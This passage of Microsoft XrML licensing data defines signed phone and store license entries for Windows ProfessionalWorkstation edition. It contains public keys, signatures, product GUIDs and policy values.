xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>TanjIX/m+FRyau2YC66NpONHmUo=</DigestValue></Reference></SignedInfo><SignatureValue>U5p0/SneB9UAekdiXtMf+JnGMBL+DoURDPJJIWQnzz0L1U90qbPyef8FwPMZrt2yu3fYZK56CTo5sWMAODvez4DoMXS+dlm35grClzQfgXy8lvan3IscDXAgEEzFrJ/PAFY0SvfGGgO0biT1gTiDaqRKnk8re1G5orlv4BcPoiyT4aeq3Z76zwZQM+eYFHsV+xTxh5H2Aw1coGbnDFqcja5AhxgX8AXuRW6gK6cNJk1ATdMsiMIqAbWUuBGcifo46Sh1xtai3k6/uYxCaAaN7eWNZ9TFFzzspSd1XBQzLu22/SX7VcyaNi10IMtRKg9htgciq5qlYOgrnNwVkok+jg==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{60b3ec1b-9545-4921-821f-311b129dd6f6}</tm:infoStr><tm:infoStr name="privateCertificateId">{c4a4215e-8cf3-42fa-8ff9-50330db00620}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{71ce6518-3581-46da-948d-083c57061836}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMS_W10 channel</tm:infoStr><tm:infoStr name="UXDifferentiator">VOLUME_KMS</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="phone:policy">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</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{c4a4215e-8cf3-42fa-8ff9-50330db00620}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>75kq0eGesDq1hhb1TUcYFyuFqpg=</DigestValue></Reference></SignedInfo><SignatureValue>Im0gVt61DkTHJJLBRxtKrZLCvYXnuiavc9eKm2WKYjSVxeUeJukPgiSME3Y59bUvsqhXqvfsNxT/ZoA4Vc2NDYX5RCa2T/EovyQjAENfUL7vveJKvnQvJGbO0ja0qXU/U98ZaP7LxrfbBMQoTScFWcuwgysBfCk40D7OgRjxPjgjbrrmVYk4Y35g45dycSZybhhUzu95cMNju7OvECw5jDpRBoiKb8tdghVUxxVgea7v6UFMPpz46mTuhzbfHGl2Guz9CzyoPU3ej49q4nd/mf/EyAdAonOVdLY8+JKKhmcyv+Xy8Wx+M0fiwUkvJCn6HPCNqcQ4H0zamS5ndURDNA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{2776df19-77ad-4c8e-8de7-fe9f120e0099}</tm:infoStr><tm:infoStr name="productSkuId">{60b3ec1b-9545-4921-821f-311b129dd6f6}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{0c6fe33c-d9cc-498f-a7fc-f1ae9656ab68}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {e1c51358-fe3e-4203-a4a2-3b6b20c9734e}, {6d646890-3606-461a-86ab-598bb84ace82}, {bbb97b3b-8ca4-4a28-9717-89fabd42c4ac}, {cbdcb1ba-e093-4c81-a463-10775291fdf9}, {11B15659-E603-4CF1-9C1F-F0EC01B81888}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{60b3ec1b-9545-4921-821f-311b129dd6f6}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>MTKalx03p/3JJm12PTdmtCPzU1M=</DigestValue></Reference></SignedInfo><SignatureValue>M7aE+U9wTxmaEC5dceJ0d1KaqogQZZ0QSSuMxuUBInGP1Jsq8KFaFi9qrHeS9R0EYDCmj9YNAU+qKG9pH0+COvFefj4Zx6/kAStcBvBQGKR5QZLcHRTzERTIs/X9qDNlHkTcJqf8BI07TAhNEyT96e0ksr+Em5MjqVLiJz+k40uIdQSkV7G9ScEeVLRDos+DHv2RDB+rCTDD++JLoifvZVTrwf5Rcv8s6zCtfpUCwq7WFuPWlqw+Fg8/yGI42rIOki88x3DCauexH4sV6SGeSF9G+powpbdBqD4FLVQn5XI6zqOYo9utRvqviL9wAK+afWn/GBPAf0hnM1xBJyYAUA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{60b3ec1b-9545-4921-821f-311b129dd6f6}</tm:infoStr><tm:infoStr name="privateCertificateId">{ed493228-a036-40d3-b9ed-7a4b029833b1}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{71ce6518-3581-46da-948d-083c57061836}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMS_W10 channel</tm:infoStr><tm:infoStr name="UXDifferentiator">VOLUME_KMS</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{ed493228-a036-40d3-b9ed-7a4b029833b1}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform 